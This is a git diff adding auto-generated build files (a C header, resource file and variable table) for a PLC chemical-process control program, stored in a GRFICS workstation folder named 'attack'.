+ __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; 